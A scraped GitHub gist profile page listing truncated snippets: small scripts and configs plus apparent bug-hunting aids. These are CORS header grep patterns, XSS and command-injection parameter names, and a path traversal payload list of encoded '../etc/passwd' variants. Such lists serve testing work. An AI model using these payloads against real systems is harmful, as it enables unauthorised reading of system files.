Skip to content

Instantly share code, notes, and snippets.

View 0x3n0's full-sized avatar
🎯
Focusing

Eno Leriand 0x3n0

🎯
Focusing
View GitHub Profile
@0x3n0
0x3n0 / battry
Last active December 27, 2023 13:48
#!/bin/bash
battery_status=$(acpi | awk '{print $3}')
battery_percentage=$(acpi | awk '{print $4}' | sed 's/,//')
if [ "$battery_status" == "Discharging," ]; then
icon="🔋"
else
icon="🔌"
set -g mouse on

# unbind default prefix and set it to ctrl-a
unbind C-b
set -g prefix C-a
bind C-a send-prefix

# make delay shorter
set -sg escape-time 0

Dorks with Go

package main

import (
	"fmt"
	"log"
	"net/http"
	"net/http/cookiejar"
	"os"
use std::io::{self, BufRead, Read, Write};
use std::net::TcpStream;
use std::str;

fn extract_urls(body: &str) -> Vec<&str> {
    let mut urls = vec![];

    for line in body.lines() {
        if let Some(start) = line.find("src=") {
{
"flags": "-HnriE",
"patterns": [
"Access-Control-Allow-Origin: *",
"Access-Control-Allow-Methods: *",
"Access-Control-Allow-Headers: *",
"Access-Control-Allow-Credentials: true",
"Access-Control-Expose-Headers: *",
"Access-Control-Max-Age: *"
]
{
"XSS": [
"q=",
"s=",
"search=",
"lang=",
"keyword=",
"query=",
"page=",
"keywords=",
@0x3n0
0x3n0 / list-json
Last active January 20, 2023 07:06
{
"payload": [
"..%2fetc%2fpasswd",
"..%2f..%2fetc%2fpasswd",
"..%2f..%2f..%2fetc%2fpasswd",
"..%2f..%2f..%2f..%2fetc%2fpasswd",
"..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
"..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
"..%c0%2fetc%c0%2fpasswd",
"..%c0%2f..%c0%2fetc%c0%2fpasswd",
@0x3n0
0x3n0 / get.json
Last active January 17, 2023 03:22
{
"GET": [
"daemon=",
"upload=",
"dir=",
"download=",
"log=",
"ip=",
"cli=",
"cmd=",

Subs

package main

import (
    "fmt"
    "net/http"
    "io/ioutil"
    "encoding/json"
    "os"
# coding=utf-8
import os
import time
import subprocess
sudo = "/usr/bin/sudo"
tee = "/usr/bin/tee"
def _run_cmd_write(cmd_args, s):